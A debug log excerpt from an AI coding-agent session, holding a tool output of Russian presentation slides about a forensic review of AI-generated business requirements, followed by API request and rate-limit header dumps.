\u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0443. \u0412\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014\\n  \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439, \u043e\u0434\u043d\u0438\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0438 \u0441\u0442\u0430\u0440\u044b\u0439 \u2014 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435:\\n  [0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md).\\n  \u0410 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u0433\u0435\u0439\u0442 \u2014 10\\n  [\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\\n  \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- \u0412\u044b\u0432\u043e\u0434\\n  [\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md):\\n  \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430. \u041d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f. \u0422\u0435\u043a\u0443\u0449\u0435\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432\u044b\u0434\u0430\u0451\u0442\u0441\u044f \u0437\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0435.\\n  \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438. \u041e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f\\n  \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. \u0426\u0438\u0442\u0430\u0442\u0430: \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u00bb.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a:** \u043f\u0440\u043e\u043c\u043f\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. \u041e\u0442\u043a\u0430\u0437\u044b \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0440\u0430\u043d\u044c\u0448\u0435\\n\u0442\u0435\u043a\u0441\u0442\u0430: \u043d\u0430 \u0432\u044b\u0431\u043e\u0440\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n[ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n\u0437\u0430\u043f\u0438\u0441\u0430\u043b \u043f\u0440\u0430\u0432\u0438\u043b\u043e: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u0421\u0442\u0430\u0440\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043c\u044b \u043d\u0435\\n\u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u0443.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u2014 \u0437\u043d\u0430\u0447\u0438\u0442, \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c, \u0447\u0442\u043e\\n\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\",\n[2026-09-29T08:03:28.674Z] [INFO]         \"is_error\": false\n[2026-09-29T08:03:28.674Z] [INFO]       }\n[2026-09-29T08:03:28.674Z] [INFO]     ]\n[2026-09-29T08:03:28.674Z] [INFO]   },\n[2026-09-29T08:03:28.674Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:28.674Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:28.674Z] [INFO]   \"uuid\": \"f68a7241-f434-43f5-86a2-9d0f98acef13\",\n[2026-09-29T08:03:28.674Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:28.666Z\",\n[2026-09-29T08:03:28.674Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:03:28.674Z] [INFO]     \"stdout\": \"## \u0421\u043b\u0430\u0439\u0434 3. \u041c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0422\u0417 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0431\u043e\u043b\u044c \u0447\u0438\u0441\u043b\u0430\u043c\u0438 \u0438\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0430,\\n\u0430 \u043d\u0435 \u0438\u0437 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u043e\u0442\u0447\u0451\u0442\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\\n  [\u0432\u0441\u0435 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\\n  \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0440\u0430\u0437\u0431\u043e\u0440\u0430. \u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u043c, \u043f\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c.\\n- 17 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u2014 17 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440. \u041c\u0435\u0442\u0440\u0438\u043a\u0430\\n  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 `M-1` \u0440\u0430\u0432\u043d\u0430 \u043d\u0443\u043b\u044e. \u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0439 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 \u0442\u0440\u0451\u0445\\n  \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u0434\u0430\u043b \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430, \u0430 7 \u0438\u0437 14 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430\\n  \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0438\u0441\u044c \u043d\u0438 \u0440\u0430\u0437\u0443.\\n- 50 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442, \u0438\u0437 \u043a\u0430\u043a\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u043e\u043d\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438. \u0422\u0430\u043a\u043e\u0439\\n  \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0438 \u043d\u0435\u043b\u044c\u0437\u044f \u0447\u0435\u0441\u0442\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- \u0418\u0418 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0443\u0441\u0442\u043e\u0442\u044b \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c. \u0412 RUN-0015 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u0435\u0432\u044b\u0435 NFR \u2014\\n  5 \u043c\u0438\u043d\u0443\u0442, 100 \u043c\u0441, 2 \u0441\u0435\u043a\u0443\u043d\u0434\u044b, 24/7. \u041d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0432\u0441\u0451 \u043e\u0442\u043a\u043b\u043e\u043d\u0438\u043b\\n  \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a.\\n- \u0412 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0442\u043e, \u0447\u0442\u043e\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u0436\u0435 \u0443\u043c\u0435\u0435\u0442. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u043b\u043e\u0441\u044c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e\\n  \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f.\\n- \u0418\u0442\u043e\u0433: \u0431\u0435\u0437 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\u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043a\u0430\u043a \u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d\u043d\u044b\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434. \u042d\u0442\u043e \u043a\u043b\u044e\u0447 \u043a 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\u0441\u0442\u0430\u0440\u044b\u0439 \u2014 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435:\\n  [0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md).\\n  \u0410 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u0433\u0435\u0439\u0442 \u2014 10\\n  [\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 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\u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u00bb.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a:** \u043f\u0440\u043e\u043c\u043f\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. \u041e\u0442\u043a\u0430\u0437\u044b \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0440\u0430\u043d\u044c\u0448\u0435\\n\u0442\u0435\u043a\u0441\u0442\u0430: \u043d\u0430 \u0432\u044b\u0431\u043e\u0440\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n[ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n\u0437\u0430\u043f\u0438\u0441\u0430\u043b \u043f\u0440\u0430\u0432\u0438\u043b\u043e: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u0421\u0442\u0430\u0440\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043c\u044b \u043d\u0435\\n\u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u0443.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u2014 \u0437\u043d\u0430\u0447\u0438\u0442, \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c, \u0447\u0442\u043e\\n\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\",\n[2026-09-29T08:03:28.674Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:03:28.674Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:03:28.674Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:03:28.674Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T08:03:28.674Z] [INFO]   }\n[2026-09-29T08:03:28.674Z] [INFO] }\n[2026-09-29T08:03:28.750Z] [STDOUT] [log_8b47a0] sending request {\n[2026-09-29T08:03:28.755Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:03:28.758Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:28.762Z] [STDOUT]   options: {\n[2026-09-29T08:03:28.765Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:03:28.770Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:03:28.778Z] [STDOUT]     body: {\n[2026-09-29T08:03:28.782Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:03:28.785Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:03:28.788Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:03:28.791Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:03:28.794Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:03:28.796Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:03:28.801Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:03:28.804Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:03:28.805Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:03:28.807Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:03:28.809Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:03:28.815Z] [STDOUT]       stream: true,\n[2026-09-29T08:03:28.817Z] [STDOUT]     },\n[2026-09-29T08:03:28.820Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:03:28.824Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:03:28.829Z] [STDOUT]       aborted: false,\n[2026-09-29T08:03:28.834Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:03:28.839Z] [STDOUT]       onabort: null,\n[2026-09-29T08:03:28.842Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:03:28.869Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:03:28.879Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:03:28.884Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:03:28.892Z] [STDOUT]     },\n[2026-09-29T08:03:28.897Z] [STDOUT]     stream: true,\n[2026-09-29T08:03:28.902Z] [STDOUT]   },\n[2026-09-29T08:03:28.911Z] [STDOUT]   headers: {\n[2026-09-29T08:03:28.919Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:03:28.932Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:03:28.942Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:03:28.954Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:03:28.962Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:03:28.966Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:03:28.969Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:03:28.972Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:03:28.975Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:03:28.977Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2057\",\n[2026-09-29T08:03:28.983Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:03:28.986Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:03:28.995Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:28.999Z] [STDOUT]     \"x-client-request-id\": \"aaad204e-c8a0-4ec4-9918-a2e184fd437b\",\n[2026-09-29T08:03:29.002Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:03:29.004Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:03:29.007Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:03:29.017Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:03:29.030Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:03:29.036Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:03:29.040Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:03:29.054Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:03:29.060Z] [STDOUT]   },\n[2026-09-29T08:03:29.063Z] [STDOUT] }\n[2026-09-29T08:03:29.533Z] [STDOUT] [log_8b47a0, request-id: \"req_011CfXP8fL6GkcpD5gT7qNHn\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 781ms\n[2026-09-29T08:03:29.535Z] [STDOUT] [log_8b47a0] response start {\n[2026-09-29T08:03:29.539Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:29.541Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:29.544Z] [STDOUT]   headers: {\n[2026-09-29T08:03:29.547Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:29.553Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:29.557Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:29.560Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.47\",\n[2026-09-29T08:03:29.566Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:29.570Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:29.582Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:29.591Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:29.598Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:29.602Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:29.606Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:29.610Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:29.616Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:29.620Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:29.624Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:29.627Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:29.632Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:29.638Z] [STDOUT]     \"cf-ray\": \"a42978b8ba285d90-FRA\",\n[2026-09-29T08:03:29.644Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:03:29.649Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:29.651Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:29.655Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:29.657Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:03:29 GMT\",\n[2026-09-29T08:03:29.660Z] [STDOUT]     \"request-id\": 